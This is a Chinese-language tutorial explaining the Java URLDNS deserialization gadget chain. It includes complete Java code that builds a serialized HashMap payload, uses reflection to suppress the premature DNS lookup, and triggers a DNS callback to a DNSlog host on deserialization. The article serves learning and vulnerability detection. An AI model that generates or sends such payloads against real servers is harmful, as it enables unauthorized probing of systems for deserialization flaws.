壹 介绍
1.1 URLDNS链
前面我们有提到,该链是原生JDK
就存在的利用链(利用链也叫gadget chains
,简称gadget
),也是最简单的利用链,该链主要的目的是通过探测DNS
的方式探测反序列化漏洞是否存在。个人猜测应该是在原生的JDK
中找不到RCE
了,那就降级找探测网络的方式确认漏洞。
1.2 原理
URLDNS
链的原理就是通过JDK
中的URL
类内部的hashCode
方法对传入的url
进行域名解析,实现网络探测,这是利用链的sink
点,然后通过HashMap
类中重写的readObject
方法去调用map
的key
值里面的hashCode
方法,这里我们不难想到这个key
我们可以传递一个URL
类,使得HashMap
类在反序列化时调用URL
类里的hashCode
方法实现完整的网络探测利用。可以说的有点绕口,下面我们通过代码进行详细分析。
贰 分析
2.1 URLDNS的sink点分析
根据前面的原理我们知道URLDNS
的sink
点就在java.net.URL
中,并且java.net.URL
继承了java.io.Serializable
类:
接着我们来查看一下该类的结构,试图找出重写的readObject
方法,看看有没有实现第一种方式的反序列化漏洞利用条件,显然URL
类中readObject
方法只有一些赋值操作,没有什么利用的点,这时候我们就要找一些其他类可能用的共同方法,例如:toString
、hashCode
等,这时候我们找到了一个hashCode
方法:
发现hashCode
方法先对hashCode
属性进行判断,然后调用handler.hashCode
赋值给hashCode
属性:
跟进handler.hashCode
,发现u
参数也就是前面的this
参数没有做任何过滤直接传递给了getHostAddress
方法,该方法是对URL
进行域名解析,至此我们就找到了URLDNS
的sink
点,需要注意这里的this
就是我们传递的DNSlog
的URL
:
2.2 HashMap的readObject方法分析
我们如何调用这个URL
类内的hashCode
方法呢?既然第一种方式的反序列化漏洞利用条件行不通,那就找第二种,也就是找到其他的入口类,通过这个入口类去调用URL
类内的hashCode
方法,并且该入口类在readObject
时触发URL
类的hashCode
方法,那么就要要求入口类接收的参数是一个URL
类型或者是一个Object
类型,这里自然想到Map
这个结构,它的key
和Value
可以为任意类型,而且Map
的实现类是HashMap
,HashMap
也是实现了序列化接口,并且重写了readObject
:
接着分析HashMap
类的readObject
方法,发现readObject
方法调用了hash()
的方法并且传入的参数是key
:
跟进hash
方法,发现方法内会调用key
的hashCode()
方法,也就是说我们只要把key
值改为URL
对象,即可调用URL
对象的hashCode()
方法实现网络探测。
那么我们要怎么将key
值设置为URL
对象呢?这里我们直接通过HashMap
的put
方法进行设置即可。简单梳理一下:
首先创建一个HashMap类,这个类就是Map结构,使用put方法以<URL,xxxx>的形式存放在HashMap类中,然后通过HashMap类的readObject方法调用了hash方法,最后触发到URL类中的hashCode方法,实现网络探测功能,也就是DNSlog。
2.3 完整的利用链
这里我们编写一个小demo
,我们使用yakit
自带的dnslog
生成URL
:
package com.demo.serializable;
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class Run {
public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<URL, Integer> urlIntegerHashMap = new HashMap<>();
URL url1 = new URL("http://kunsatbady.dgrh3.cn");
// 这里存在一定的干扰,后面会讲解
urlIntegerHashMap.put(url1, 1);
// 序列化
// 新建一个文件用来存储后续序列化的数据
FileOutputStream fileOutputStream = new FileOutputStream("serializable.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
// 将获取到的对象进行序列化,并存入到serializable.ser文件中
objectOutputStream.writeObject(urlIntegerHashMap);
// 反序列化
// 获取file文件中的序列化内容
FileInputStream fileInputStream = new FileInputStream("serializable.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
// 将序列化内容转换为Java对象,并返回
Object o = objectInputStream.readObject();
System.out.println(o);
}
}
其实我们会发现,通过put
方法将<URL,xxxx>
放入到HashMap
中时,就执行了一次网络域名解析:
这样很容易干扰我们后面的判断,然后不经有一个疑问:这个地方有没有反序列化漏洞呢?这时候我们要怎么去除这个put
方法的干扰呢?我们在查看sink
点的时候发现,当URL
中的hasCode
参数如果不等于-1
的话,那么就直接返回值:
这时候我们就想到两个方法,一个是在put
方法之前改变这个hasCode
参数,另一个就是直接将<URL,xxxx>
放入到HashMap
中,显然两个方法都需要通过反射修改类的内部结构,并且第一种方法要比第二种方法修改的的难度要低很多,所以我们只需要在使用put
方法之前通过反射修改hasCode
参数即可绕过网络解析,同样将<URL,xxxx>
放入到HashMap
中后,我们还需要将hasCode
参数设置回-1
,才能使得类进行反序列化时满足hasCode
方法条件,接下来编写代码:
package com.demo.serializable;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Run {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> urlIntegerHashMap = new HashMap<>();
URL url1 = new URL("http://uyfzoopobw.dgrh3.cn");
Class<? extends URL> aClass = url1.getClass();
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url1, 1111);
urlIntegerHashMap.put(url1, 1);
hashCode.set(url1, -1);
// 序列化
// 新建一个文件用来存储后续序列化的数据
FileOutputStream fileOutputStream = new FileOutputStream("serializable.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
// 将获取到的对象进行序列化,并存入到serializable.ser文件中
objectOutputStream.writeObject(urlIntegerHashMap);
}
}
可以看到干扰被排除了,这时候我们进行反序列化:
package com.demo.serializable;
import java.io.*;
public class Run {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// 反序列化
// 获取file文件中的序列化内容
FileInputStream fileInputStream = new FileInputStream("serializable.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
// 将序列化内容转换为Java对象,并返回
Object o = objectInputStream.readObject();
System.out.println(o);
}
}
其实前面序列化那一步我们只需要客户端生成,也就是我们自己生成的payload
,后面的反序列化过程其实是服务器反序列化的过程,客户端的代码是我们可以控制的,服务端是不可以控制的,所以我们在复现时,一般只需要搭建后面的服务端,前面的客户端已经被工具化,如:ysoserial
中的src/main/java/ysoserial/payloads/URLDNS.java
文件就是实现了,这里之所以长篇大论就是为了体现出反射在反序列化中的重要性。
2.4 URLDNS链流程小结
URLDNS
链调用流程:
graph LR
A[HashMap.readObject] --> B[HashMap.hash]
B --> C[URL.hashCode]
C --> D[URLStreamHandler.hashCode]
D --> E[URLStreamHandler.getHostAddress]
首先通过反序列化调用HashMap.readObject()
,接着方法内调用HashMap.hash()
,进而调用key.hashCode()
,而这里的key
被赋值为URL
类型值,也就是调用了URL.hashCode()
,进而调用URLStreamHandler.hashCode()
,最后调用URLStreamHandler.getHostAddress()
进行DNS
请求,完成整个利用链调用。